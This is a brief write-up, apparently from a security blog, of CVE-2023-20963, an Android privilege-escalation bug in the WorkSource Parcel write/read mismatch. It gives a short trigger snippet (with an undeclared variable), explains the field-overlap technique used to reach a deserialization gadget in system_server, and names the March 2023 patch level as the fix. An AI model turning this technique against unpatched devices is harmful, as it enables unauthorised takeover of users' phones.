$cat snippet_cve-2023-20963.sh
Parcel p = Parcel.obtain(); WorkSource ws = new WorkSource(); p.writeInt(0x1337); ws.readFromParcel(p); ws.writeToParcel(p2, 0);
Overview
CVE-2023-20963 exploits an asymmetric writeToParcel / readFromParcel in WorkSource to smuggle attacker-controlled bytes into a privileged process.
Trigger
$cat output.java
Parcel p = Parcel.obtain();
WorkSource ws = new WorkSource();
p.writeInt(0x1337);
ws.readFromParcel(p);
ws.writeToParcel(p2, 0);Field overlap
Because the read consumes fewer bytes than the write produces, the next field in the IPC payload is partially attacker-controlled. We use this to overlap a Bundle key parser and reach a deserialization gadget in system_server.
Mitigation
March 2023 Android patch level or later.
#Android#LPE#Parcel